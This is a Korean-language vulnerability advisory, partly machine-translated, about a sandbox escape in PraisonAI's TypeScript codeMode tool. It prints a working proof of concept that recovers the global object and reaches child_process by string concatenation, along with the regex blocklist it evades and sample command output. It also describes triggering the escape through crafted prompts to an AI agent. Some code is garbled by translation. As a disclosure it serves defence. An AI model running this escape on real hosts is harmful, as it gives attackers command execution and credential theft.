PraisonAI: 'codeMode' 도구의 샌드박스 이스케이프를 통한 원격 코드 실행
src/praisonai-ts/src/tools/builtins/code-mode.ts의 codeMode 도구는 with(sandbox) 패턴과 함께 new Function()을 사용하여 LLM 생성 코드를 실행합니다. 차단 목록 기반 '샌드박스'는 전역 개체를 복구하기 위해 Function('return this')()을 통해 간단하게 우회할 수 있으며, 이어서 문자열 연결이 포함된 global.require()를 사용하여 차단 목록 정규 표현식을 피할 수 있습니다. 이를 통해 호스트 시스템에서 완전한 임의 코드 실행이 가능해집니다. 이는 에이전트에 대해 코드 모드 도구가 활성화된 모든 배포에 영향을 미칩니다.
취약한 코드(187~191행):
const fn = 새로운 함수(
'샌드박스',
`(샌드박스) { ${code} }`
);
const 결과 = fn(샌드박스);
code 매개변수는 LLM 도구 호출 인수(라인 104의 execute 메소드)에서 나옵니다. 실행 전에 정규식 기반 차단 목록이 적용됩니다(108~136행).
const 차단 패턴 = [
/require\s*\(\s*['"]child_process['"]\s*\)/,
/require\s*\(\s*['"]fs['"]\s*\)/,
/import\s+.*from\s+['"]child_process['"]/,
/프로세스\.exit/,
/eval\s*\(/,
];
세 가지 근본적인 약점:
with(sandbox)는 격리를 제공하지 않습니다. JavaScript의 with 문은 범위 체인에 개체를 추가하지만 전역 개체에 대한 액세스를 차단하지는 않습니다. 샌드박스 개체는 'process: undefine' 및 'require: undefine'을 설정하지만 이는 전역 범위를 통해 복구됩니다.
``자바스크립트
const g = Function('return this')();
g.require('child_' + '프로세스')
문자열 연결을 통한 차단 목록 회피. 정규식 /require\s*\(\s*['"]child_process['"]\s*\)/에는 require() 내부에 리터럴 문자열 'child_process' 또는 "child_process"가 필요합니다. require('child_' + 'process')를 사용하면 정규 표현식이 리터럴 문자열이 아닌 변수 연결을 보기 때문에 이를 우회합니다.
Function('return this')()은 차단되지 않습니다. Function(, return this 또는 global.require와 일치하는 차단 목록 패턴이 없습니다.
설정: d5f1114a 커밋 시 클린 체크아웃, Node.js v20.20.0(테스트된 환경).
긍정적 트리거 — 샌드박스 이스케이프가 포함된 전체 RCE(관찰된 출력):
``자바스크립트
// 이 코드는 모든 차단 목록 패턴을 우회하고 RCE를 달성합니다.
const 코드 = const Func = (function(){}).constructor; const proc = Func('반환 프로세스')(); console.log('process.version:', proc.version); const g = Function('return this')(); const mod = 'child_' + '프로세스'; const cp = g.require(mod); console.log('RCE:', cp.execSync('id').toString().trim());;
**관찰된 출력(이 환경에서 실행됨):**
출력: 프로세스.버전: v20.20.0 OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) 그룹=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(사용자),114(lpadmin),983(docker),984(ollama)
차단 목록을 먼저 적용한 상태에서 정확한 코드 모드 샌드박스 패턴(`new Function('sandbox', 'with (sandbox) { ... }')`)을 실행하여 이스케이프가 확인되었습니다. 모든 차단 목록 패턴이 우회되었으며 `id` 명령은 실제 시스템 사용자 ID를 반환했습니다.
**부정적 제어 - 차단 목록이 직접 요구 사항을 올바르게 포착합니다.**
``자바스크립트
const 코드 = `require('child_process')`;
// 반환: "차단된 패턴이 감지되었습니다: require\s*\(\s*['"]child_process['"]\s*\)"
부정적 통제 — 차단 목록이 평가를 올바르게 포착합니다:
``자바스크립트
const 코드 = eval('프로세스');
// 반환: "차단된 패턴이 감지되었습니다: eval\s*("
**정리:** 지속성이 필요하지 않습니다. 코드가 프로세스 내에서 실행됩니다.
## 영향
'codeMode' 도구의 'code' 매개변수에 영향을 미칠 수 있는 공격자는(praisonai-ts를 사용하여 AI 에이전트에 대한 조작된 프롬프트를 통해) 호스트 시스템에서 **완전한 임의 코드 실행**을 달성합니다. 여기에는 다음이 포함됩니다.
- 프로세스 사용자가 액세스할 수 있는 **모든 파일 읽기/쓰기**
- `child_process`를 통해 **임의의 시스템 명령 실행**
- API 키, 토큰 및 자격 증명이 포함된 **환경 변수 추출**
- 시작 파일에 기록하여 **지속적인 백도어 설치**
- 컨테이너화된 환경에서 **측면으로 이동**
## 제안된 해결 방법
`with(sandbox)` + 차단 목록 패턴은 근본적으로 안전하지 않으며 정규식 개선으로 해결할 수 없습니다. 다음으로 바꾸세요:
1. **적절한 컨텍스트 격리와 함께 `vm` 모듈을 사용하세요.**
````타이프스크립트
'vm'에서 import { createContext, runInContext };
const sandbox = createContext({ /* 안전한 전역 변수만 */ });
runInContext(code, sandbox, { timeout: 5000 });
**또는 별도의 V8 격리를 통해 진정한 프로세스 수준 격리를 위해 isolate-vm**을 사용하세요.
또는 깨끗한 환경과 리소스 제한이 있는 하위 프로세스(예: python_tools.py에서 이미 사용된 Python _execute_code_sandboxed 패턴)에서 코드를 실행하세요.
차단 목록 접근 방식을 유지해야 하는 경우 다음 패턴을 추가하세요.
함수( / 새 함수생성자 / __proto__ / 프로토타입return this / return globalglobal / globalThis / window
그러나 참고: 차단 목록 접근 방식은 본질적으로 취약하며 계속 우회할 수 있습니다.왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 98.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 98.00 |
VPI 공식 vpi-v1 기준